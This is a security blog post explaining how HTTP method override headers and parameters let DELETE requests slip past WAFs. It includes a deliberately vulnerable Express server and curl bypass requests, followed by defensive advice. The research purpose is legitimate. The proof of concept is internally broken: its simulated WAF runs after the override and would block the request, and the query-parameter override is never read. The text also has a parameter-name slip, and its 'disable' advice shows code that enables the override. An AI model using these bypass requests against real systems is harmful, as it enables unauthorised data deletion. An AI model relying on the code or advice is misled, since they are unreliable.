← All writing

Security Research / October 29, 2025

Ghost HTTP Methods: How HTTP Verb Mutation Bypasses Modern WAFs across Middleware Layers 

How legacy HTTP method overrides create a dangerous disagreement between edge security controls and application middleware.

Introduction

Most Web Application Firewalls (WAFs) and API Gateways proudly advertise “method-based protection.”
They block destructive HTTP verbs such as DELETE, PUT, or PATCH from untrusted sources, believing this is enough to prevent harmful actions.

But what happens when the request morphs after the WAF check?
When your Edge WAF thinks it’s a harmless POST, but your backend rewrites it into a DELETE just a few milliseconds later?

Attack flow showing method interpretation across WAF and backend layers
Fig: Attack Flow

The Culprit: HTTP Method Override

To support older browsers that couldn’t send methods other than GET or POST, many web frameworks introduced Method Override.
It allows clients to send an alternate verb using:

  • a query parameter like _method=DELETE
  • or a header like X-HTTP-Method-Override: DELETE

Example:

POST /users/42?_method=DELETE HTTP/1.1
Host: example.com
Content-Type: application/json

When this request reaches the application, middleware such as Express’s method-override, Rails’ Rack::MethodOverride, or Spring’s HiddenHttpMethodFilter mutates the request internally:

Original: POST /users/42
After middleware: DELETE /users/42

To the WAF sitting at the edge, this is a simple POST.
To the backend, it’s a destructive DELETE.

The Core Problem

This split in understanding between layers — the edge and the application — creates what we call a Ghost Method:

Diagram illustrating the ghost method issue
Fig: Issue

In a real-world breach, investigators may see only harmless POST requests in WAF logs, unaware that data deletion occurred inside the app.

Real-World Presence

Method override is enabled by default in several frameworks:

Table of technologies affected by HTTP method override behavior
Fig: Technologies Affected

Proof of Concept: Mutating Methods in Transit

we have this simple POC server written in express js which uses middleware and lets users query to a simulated database only using GET and POST.

// server.js
const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.json());

// --- method override (manual, no dependency) ---
app.use((req, res, next) => {
  const fromBody = req.body && req.body._method;
  const fromHeader = req.headers['x-http-method-override'];
  const override = fromBody || fromHeader;
  if (override) req.method = String(override).toUpperCase();
  next();
});

// --- simulated (WAF) ---
app.use((req, res, next) => {
  req.originalMethod = req.method;
  if (req.method === 'DELETE') return res.status(405).send('WAF: DELETE blocked');
  next();
});

const USERS = new Map([['42', { id: '42', name: 'alice' }]]);

app.delete('/users/:id', (req, res) => {
  const existed = USERS.delete(req.params.id);
  res.json({ action: 'DELETE', existed, edgeMethod: req.originalMethod, appMethod: req.method });
});

app.get('/users/:id', (req, res) => res.json({ user: USERS.get(req.params.id) || null }));

app.listen(3000, () => console.log('Vuln on :3000'));

We have the server running on port 3000.

Terminal showing the proof-of-concept server running
Fig: Server Running

we can query for the user.

curl -s http://localhost:3000/users/42 | jq
Terminal output confirming the user exists
Fig: User existence check

if we send DELETE as a HTTP method it gets blocked by the WAF.

curl -s -X DELETE http://localhost:3000/users/42
Terminal output showing the DELETE request blocked by the WAF
Fig: DELETE request blocked

but this can be bypassed via POST+override (edge sees POST, app deletes), it can either be done by appending _mutate=DELETE at the end of URL as _method parameter is part of a method override mechanism a design choice made decades ago for HTML forms.

Or we can simply add X-HTTP-Method-Override: DELETE header in the POST request which the application accepts

curl -s -X POST 'http://localhost:3000/users/42?_method=DELETE' | jq
Terminal output showing method override through the query parameter
Fig: Override using _method=DELETE
Terminal output showing method override through an HTTP header
Fig: Override using HTTP header

verifying user existence: we can see the user Alice got deleted.

Terminal output confirming the user was deleted
Fig: User Deleted

Defensive Strategies

1. Disable Method Override for Public Endpoints

If you don’t need it, remove it entirely.

app.use(require('method-override')());

2. Strip Override Indicators at the Edge

Configure WAF or reverse proxy to drop requests containing:

  • _method=DELETE|PUT|PATCH
  • X-HTTP-Method-Override headers

3. Log Both Methods

Always log both the original and effective HTTP methods:

req.originalMethod // from edge
req.method         // after override

Conclusion
HTTP method override is a legacy convenience that became a modern blind spot. When your edge and backend disagree on what a request truly is, security controls dissolve into illusion. Audit your frameworks, disable _method where possible, and make sure your WAF and application speak the same language—because a POST that behaves like a DELETE is not a feature; it’s a breach waiting to happen.

THANKS for reading.. Do follow if you liked this article and follow for more :)